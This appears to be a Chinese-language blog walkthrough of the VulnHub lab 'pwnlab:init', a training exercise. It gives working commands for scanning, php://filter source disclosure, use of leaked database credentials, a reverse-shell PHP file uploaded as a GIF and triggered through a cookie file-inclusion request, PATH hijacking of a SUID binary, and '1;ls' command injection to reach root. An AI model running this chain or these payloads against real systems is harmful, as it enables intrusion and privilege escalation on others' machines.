vulnhub-pwnlab:init writeup

pwnlab:init渗透过程(kali IP:192.168.39.128 靶机IP:192.168.39.131)

**一.信息收集**
nmap -sP 192.168.39.0/24
nmap -sV 192.158.39.131
dirsearch 192.168.39.131
nikto -h 192.168.39.131
收集信息:中间件apache 2.4.10 语言:php,nikto扫描出来说config.oho页面可能会有数据库账号密码,可是直接在网页上打不开

**二.漏洞查找与利用**
http://192.168.39.131/?page=../../../../etc/passwd    //在页面上没有发现什么可以用的,看这个url,可能可以遍历文件,可是尝试后不行
http://192.168.39.131/?page=php://filter/read=convert.base64-encode/resource=login    //用php://filter伪协议试一试,发现可以看页面源码,分析源码发现config.php确实有数据库信息,而且代码进行了预编译sql注入行不通
http://192.168.39.131/?page=php://filter/read=convert.base64-encode/resource=config    //查看config文件,用config.php打不开,可能进行了什么处理,数据库账号密码:$username = "root";$password = "H4u%QJ_H99"
mysql -h 192.168.39.131 -u root -p    //连接数据库,查找发现三个账号密码  | kent |  JWzXuBJJNy  ,| mike | SIfdsTEn6 ,    | kane | iSv5Ym2GRo,登陆进去发现可以文件上传
http://192.168.39.131/?page=php://filter/read=convert.base64-encode/resource=upload    //查看一下上传文件的源代码,发现是白名单过滤,只有上传符合条件的文件在结合文件包含
http://192.168.39.131/?page=php://filter/read=convert.base64-encode/resource=index    //这里看主页源码发现存在文件包含
cp /usr/share/webshells/php/php-reverse-shell.php test.gif    //把反弹shell写在gif文件里,再在文件开头加上GIF89a,上传上去,文件路径为:http://192.168.39.131/upload/f3035846cc279a1aff73b7c2c25367b9.gif
nc -vlp 8888    
curl 192.168.39.131 -H "cookie:lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif"    //连接webshell

**提权**
su kane    //进去之后看suid文件,版本信息,内核信息都没有头绪,想起之前数据库里的账号密码,三个都试了只有kane的有用
find / -perm -u=s -type f 2>/dev/null    //查看有suid的二进制文件发现在家目录下有个msgmike
cd ~
ls -al    //发现这个文件是以mike的身份执行的
./msgmike    //执行一下试一试,报错cat /home/mike/msg.txt不能执行,没有权限应该,这里可以尝试重新定义一个可执行文件,把/bin/bash写进去然后在运行msgmike,等脚本运行到cat时就会执行/bin/bash这样就获取了mike的shell
cd /tmp
echo '/bin/bash' > cat
chmod 777 cat
export PATH=/tmp:$PATH    //更改环境变量,把/tmp目录放在最前面,这样查找命令的时候就会最先查找/tmp目录下的
cd ~
./msgmike    //成功获取mike的shell
find / -perm -u=s -type f 2>/dev/null    //发现mike家目录下有个可以以root身份执行的文件msg2root
cd /home/mike
ls -al
./msg2root    //运行一下试一试,发现message for root 里输入什么命令都不会执行
strings msg2root    //从msg2root二进制文件查看可打印的字符串,寻找信息发现msg2root脚本使用fgets()只能读取一行,则对输入用 ; 隔开试一试
./msg2root
message for root: 1;ls    //发现ls命令执行了则直接执行/bin/sh或bash -p,得到rootshell
cd /root
ls
tac flag.txt    //这里不能用cat因为之前改了环境变量

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值